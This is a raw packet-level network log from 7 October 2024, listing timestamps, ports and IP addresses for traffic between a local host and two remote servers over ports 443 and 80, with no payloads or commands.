Oct 7, 2024 18:00:43.258394003 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.258533955 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.258596897 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.258596897 CEST	49853	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.258610964 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.258620977 CEST	443	49853	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.260951996 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.260987997 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.261080980 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.261223078 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.261234045 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304167032 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304364920 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304375887 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304444075 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.304503918 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.304517031 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304527044 CEST	49856	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.304532051 CEST	443	49856	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304820061 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304851055 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.304879904 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.304925919 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.304925919 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.304984093 CEST	49855	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.305001974 CEST	443	49855	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.307240009 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.307252884 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.307281017 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.307306051 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.307313919 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.307435989 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.307542086 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.307557106 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.307584047 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.307599068 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.607309103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.607445955 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.609334946 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.614290953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.736154079 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.736684084 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.736701965 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.737258911 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.737265110 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.804640055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.804692984 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.804708958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.804716110 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.804759979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.804759979 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.804932117 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.804976940 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.805409908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.805424929 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.805440903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.805458069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.805471897 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.805514097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.806154966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.806204081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.806287050 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.806303978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.806332111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.806355000 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.806914091 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.807025909 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.807032108 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.807073116 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.837101936 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.837735891 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.837778091 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.837795019 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.837852955 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.837910891 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.837928057 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.837938070 CEST	49857	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.837943077 CEST	443	49857	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.840682983 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.840701103 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.840773106 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.840943098 CEST	49862	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.840955973 CEST	443	49862	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.880954981 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.881611109 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.881629944 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.882229090 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.882235050 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.897442102 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.897924900 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.897948980 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.898432970 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.898439884 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.913214922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.913235903 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.913254023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.913265944 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.913278103 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.913292885 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.913321972 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.913367987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.913918018 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914000988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914060116 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914071083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914071083 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.914083958 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914097071 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.914135933 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.914958954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914973021 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914983988 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.914997101 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.915021896 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.915052891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.915816069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.915865898 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.915874004 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.915880919 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.915899038 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.915904999 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.916008949 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.916712046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.916724920 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.916737080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.916748047 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.916795015 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.916824102 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.917562008 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.917674065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:43.917741060 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:43.942861080 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.943356037 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.943372011 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.943820953 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.943826914 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.959899902 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.960330963 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.960355043 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.960777998 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.960796118 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.979933977 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.980029106 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.980088949 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.980209112 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.980222940 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.980232954 CEST	49858	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.980238914 CEST	443	49858	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.983414888 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.983453989 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.983567953 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.983799934 CEST	49863	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.983812094 CEST	443	49863	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.996100903 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.996530056 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.996578932 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.996618032 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.996658087 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.996720076 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.996738911 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.996750116 CEST	49859	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.996756077 CEST	443	49859	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.999382973 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.999413013 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:43.999476910 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.999623060 CEST	49864	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:43.999639034 CEST	443	49864	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.023535967 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.023581028 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.023595095 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.023629904 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.023660898 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024197102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024210930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024223089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024234056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024249077 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024252892 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024296045 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024313927 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024313927 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024429083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024441004 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024456024 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024470091 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024486065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024646997 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024779081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024791956 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024802923 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024812937 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.024831057 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.024859905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.025391102 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.025404930 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.025417089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.025428057 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.025439024 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.025450945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.025475025 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.025475025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.025490999 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.025521040 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.025535107 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.026092052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.026134014 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.026148081 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.026181936 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.026207924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.026269913 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.026282072 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.026314974 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.026321888 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.026355028 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.026607990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.026654005 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.027055025 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.027066946 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.027080059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.027111053 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.027131081 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.027220964 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.027235031 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.027245998 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.027256966 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.027265072 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.027297974 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.028090954 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.028106928 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.028119087 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.028141022 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.028158903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.028243065 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.028254986 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.028265953 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.028278112 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.028294086 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.028312922 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.029136896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.029149055 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.029160023 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.029170990 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.029181957 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.029192924 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.029196978 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.029213905 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.029236078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.042898893 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.042933941 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.042979956 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.043029070 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.043060064 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.043256044 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.043267965 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.043277979 CEST	49861	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.043282986 CEST	443	49861	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.046164036 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.046211958 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.046287060 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.046479940 CEST	49865	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.046494961 CEST	443	49865	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.068794966 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.069189072 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.069268942 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.069305897 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.069322109 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.069356918 CEST	49860	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.069364071 CEST	443	49860	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.072101116 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.072137117 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.072200060 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.072359085 CEST	49866	443	192.168.2.5	13.107.246.64
Oct 7, 2024 18:00:44.072370052 CEST	443	49866	13.107.246.64	192.168.2.5
Oct 7, 2024 18:00:44.129409075 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129440069 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129456997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129473925 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129506111 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.129542112 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.129636049 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129661083 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129715919 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.129722118 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129739046 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129755020 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129767895 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.129771948 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129787922 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129793882 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.129803896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.129827023 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.129846096 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130053997 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130104065 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130110979 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130135059 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130150080 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130151987 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130167961 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130172968 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130187988 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130203009 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130227089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130243063 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130259037 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130275011 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130285978 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130319118 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130358934 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130374908 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130400896 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130405903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130418062 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.130434036 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130454063 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.130471945 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131010056 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131035089 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131050110 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131062031 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131076097 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131097078 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131129980 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131145000 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131160975 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131174088 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131177902 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131186962 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131213903 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131239891 CEST	49831	80	192.168.2.5	95.164.90.97
Oct 7, 2024 18:00:44.131272078 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131288052 CEST	80	49831	95.164.90.97	192.168.2.5
Oct 7, 2024 18:00:44.131303072 CEST	80	49831	95.164.90.97	192.168.2.5
